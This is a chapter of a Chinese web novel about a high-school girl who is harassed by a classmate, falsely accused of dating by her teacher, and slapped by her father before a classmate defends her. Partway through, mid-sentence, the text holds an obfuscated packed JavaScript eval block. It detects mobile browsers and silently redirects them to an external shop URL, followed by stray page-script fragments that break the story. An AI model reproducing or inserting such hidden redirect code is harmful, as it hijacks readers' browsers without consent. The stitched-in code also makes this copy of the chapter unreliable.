文趣网 > 其他小说 > 迟雨讯息 > 38. 冤枉
    艺术节就像最后一场狂欢,刚结束梅琴凤就在班上发表她的演讲。

    “好了,现在学校所有活动都没了,你们好好收收心,马上就要高三了,今年你们做好暑假只放一个星期的准备。”

    下面传来阵阵哀嚎,后面梅琴凤说了什么他们都没听了,都在祭奠自己失去的假期。

    仅仅只过了一天,所有事都回到了正轨上。该上课的上课,该考试的考试。

    倒垃圾的活又到了温言蹊身上。

    “言蹊我上次为了排练跟人换了一天,今天是另一个女生跟你一起。”

    这事温言蹊记得,她对章之涵说了声知道了,然后跟着那个女生一起下去。

    路过食堂门口,女生说她去买个早饭马上回来。

    温言蹊在门口等她,但老天似乎没想放过她。

    一些人你躲都躲不过,比如正缘,又或者是小人。

    “呦,又见面了啊。”于凯插着兜,晃晃悠悠地走向他。

    温言蹊懒得给这种人眼神,干脆装看不见。

    但于凯没那么好敷衍,依旧不依不饶:“怎么,这次身边没人就不敢耍横了?”

    “我可是记得当初问过你做不做我女朋友,这么快就找到人护你了?”

    于凯还记得上次在教室里她是怎么说他的,好不容易抓到一个机会,那肯定要好好会会。

    温言蹊对他没什么好说的,抿着唇一言不发。

    “你在这跟我装什么贞洁烈女呢,我真是搞不懂了,陆予笙那样还能找到人喜欢他,还是说你用了什么手段才——”

    “你说话一直都这样吗,跟你脑子一样,没有任何逻辑。”温言蹊忍无可忍。

    于凯已经被温言蹊呛了很多次了,见终于把人惹生气了心情大好:“这不是会说话吗,装什么哑巴呢。”

    说着他就要上手去扯,被温言蹊一个后退躲了过去。

    因为于凯的动作两个人离得很近,但仔细看还是能看见他们没有挨到。

    可这一切都被远处的一双眼睛目睹,随后悄悄离去。

    温言蹊彻底生气了,就在她想把人推走时,一阵强劲的风声响起,伴随着闷声,于凯脸色一变,惨叫后痛苦的捂着头。

    抬头时,那个阴魂不散的人又出现在了他面前。

    “你他妈是不是有病!”打在他头上的东西掉落下来,是一个羽毛球。

    始作俑者挥着拍子,没什么表情地说:“下次再让我看见你就不只是打的羽毛球了。”

    “你敢,我爸绝对饶不了你。”于凯咬牙切齿,恨不得手撕了眼前人。

    “噢,那你尽管去找你爸吧,看看是你家大还是我业大。”

    陆予笙毫不在意对方的表情,跟他比背景还真是找死。

    于凯知道再纠缠下去吃亏的一定是他,张嘴骂了几句后就灰溜溜的走了。

    “下次他再骚扰你记得告诉我,至少到毕业他是不能再作威作福了。”

    陆予笙说完顺手帮她把垃圾倒了,他很早就想把于凯这颗老鼠屎除掉,只是能动用他爸的权利的最大限度,就是把此人禁足在家,但这也足够了。

    陆予笙想着才发现身旁人一直没说话,蹙着眉问道:“怎么,他威胁你?”

    温言蹊回神,慌忙摇了摇头。她刚刚就有种不安的感觉,第六感疯狂作祟。

    可她转头什么也没看见,只好压下心中的疑惑。

    与陆予笙聊了几句后就分开了。

    之后的学习又让她短暂地忘记了这种感觉,直到星期六放学的时候。

    最后一节课是梅琴凤的,放学铃刚响大家就开始清书包,只有温言蹊被老师留了下来。

    “温言蹊,一会来我办公室一下。”

    准备一起聚餐的人都顿了一下,一个个对视着,眼睛里充满着不解。

    反倒是温言蹊反应最快,早知道这一天回来,不知道是庆幸来得快还是该担心一会要发生什么。

    “你们先过去吧,我马上就来,应该没什么大事。”温言蹊笑着安慰他们。

    想了想最近好像确实没有犯什么事,就连最无视规矩的季明怡都没想起来她最近干了什么,况且梅琴凤就是这样,雷声大雨点小。

    众人点了点头,先出去找颜听棠了。

    只有章之涵作为同桌知道温言蹊的脸色不太好,因为她总能看见温言蹊这几天莫名其妙的发呆。

    “真的没事吗?”章之涵不放心地又问了一遍。

    “没关系的,你们快去吧。”温言蹊强行装作没事的样子,把章之涵推走。

    所有人都走了,温言蹊脸色越来越沉,去办公室的路很近,但她却觉得好像走完了她的一生。

    现在的时间同学和老师都急着回家,办公室已经没有其他老师了,只有梅琴凤,和一个站着的背影。

    温言蹊觉得眼熟,慢慢走近。头顶的灯光只开了几盏,显得昏暗。

    她眼前一亮一暗,最后亮着的光一步步爬上那人的身影,在看见人脸的那一刻温言蹊忽然停住,怎么都不敢向前。

    血液像是被冻结,浑身僵硬不能动弹。

    这个人正是她的父亲——温继光。

    他变了好多,头发几乎全白,脸上的皱纹多的像一夕之间老了10多岁,眼神浑浊没有精气神,一向挺直的背也弯了下去。

    这真的是她的父亲吗?

    梅琴凤在看见她进来后就收起来对家长的笑脸,一脸严肃的看着她。

    “温言蹊,我觉得最近你的问题非常大,本来我只是想跟你爸爸口头提醒的,但是他说他正好有空,就过来你看看你在学校是什么样子。”

    什么叫问题很大,早在看见父亲的那一刻她的大脑就处于宕机状态,根本听不明白老师在说什么,她仿佛游离在这世界之外,以一个幽灵的形态目睹着这一切。

    而令人没料到的是,就在梅琴凤准备开口说下一句话时,清脆的响声就先一步响了起来。

    这一巴掌把温言蹊打的一个踉跄,狠狠撞在桌子上,把她的魂也拉了回来。

    耳朵里传来刺耳的嗡鸣声,她捂着火辣辣的脸,眼前发黑。

    “诶家长家长,冷静一点,不要激动,我们可以一起想办法的。”梅琴凤装模做样地拦住温继光,嘴里劝说着。

    温继光依旧没有说一句话,他喘着粗气,胸脯在剧烈地起伏,垂下的手还颤抖不止。

    温言蹊在梅琴凤的搀扶下撑起上半身,她眼神空洞,脸颊发烫。

    “好了温言蹊,你也

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17863794|208783||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    是的,不要因为考了一次第一就飘了,你知道谈恋爱对你以后会有多大影响吗,看着乖巧的一个女孩,我都没想到你会做这样的事,你让你爸爸怎么不生气。”

    温言蹊眼前还在发黑,在终于听见老师说的话后,她放下了捂着脸的手,眼睛一眨不眨地盯着梅琴凤。

    “老师,我没听懂你说的话,什么叫我谈恋爱?”

    门外放学的喧嚣的声消失,温言蹊一字一句冷静的说着。

    梅琴凤被她盯的心里发毛,提高音量回答:“什么没听懂,任课老师那天早上都告诉我了,看见你和一个男的拉拉扯扯,那个男同学我也打听过了,身上绯闻缠身,不是什么正经的学生,你说你糊不糊涂,到底是为什么跟他谈。”

    梅琴凤说得言之凿凿,好像这件事确实发生过了一样。

    温言蹊还是不说话,一直盯着她。她已经知道这件事是个误会了,必须马上解释。可应该怎么解释,是说自己没有跟他谈还是说自己根本就不认识他呢?

    人一旦陷入到自证就会越抹越黑,而且她巴掌也受了,这一切还有争的必要吗?

    她不敢想象一个专业的职业教师,会相信一件自己从没有亲眼见过的事。

    “老师,”温言蹊的嗓子沙哑但还是开口了,“食堂门口有监控,我从不承认我没做过的事。”

    她好像又说了一遍这句话,上次还是对着徐声。一个是校园里的施暴者,一个是校园里的老师,身份天差地别,但带来的伤害却是同等的。

    梅琴凤以为她会开口狡辩,没想到等来的却是这么一句话。本来她觉得这女孩还挺可怜的这件事就不追究了,但刚刚那句话无异于挑衅。

    “温言蹊,我只是在提醒你,老师还能无缘无故冤枉你吗,再说了监控也不是你想查就能查的。”

    好无力,身体和心里都好疲惫,温言蹊什么都不解释,就只重复那一句话,近乎于倔强。

    温继光已经听不下去了,黑着脸吼道:“你到底还想怎么样,我们辛辛苦苦供你读书,你就是这么回报我们的?”

    他的手再一次高高扬起,温言蹊闭上眼睛,她唾弃这样的自己,但是她又能怎么办呢。

    她这十几年所受的教育没有一样教过她要怎么反驳加注在自己身上的冤情,只有他们口中所谓的忍让忍让再忍让。

    意料之中的耳鸣没有响起,就连疼痛也没有到来。

    温言蹊缓缓睁开眼,眼前不再是父亲狰狞的面孔,而是宽阔到可以挡住所有人视线的肩膀。

    “老师,我可以为她作证,那天我也在场。”

    陆予笙是忽然闯入的第四人,让梅琴凤措手不及。

    被人阻拦后温继光脸色不好,僵硬地问:“你又是谁?”

    陆予笙没有回他,而是对着梅琴凤发话:“老师,我并不知道您是怎么看出来温同学和于凯在谈恋爱的,但就我当时在场来看,是于凯先骚扰女同学在先。”

    梅琴凤张了张嘴,可惜陆予笙没给她这个机会:

    “您说监控不是想查就能查的,那请问不知道我有没有这个资格。毕竟学校这一批监控都是走的我们家的货,既然您这么说了,那我今天必须要好好查一查是我们家品控出了问题查不了,还是您根本不敢查。”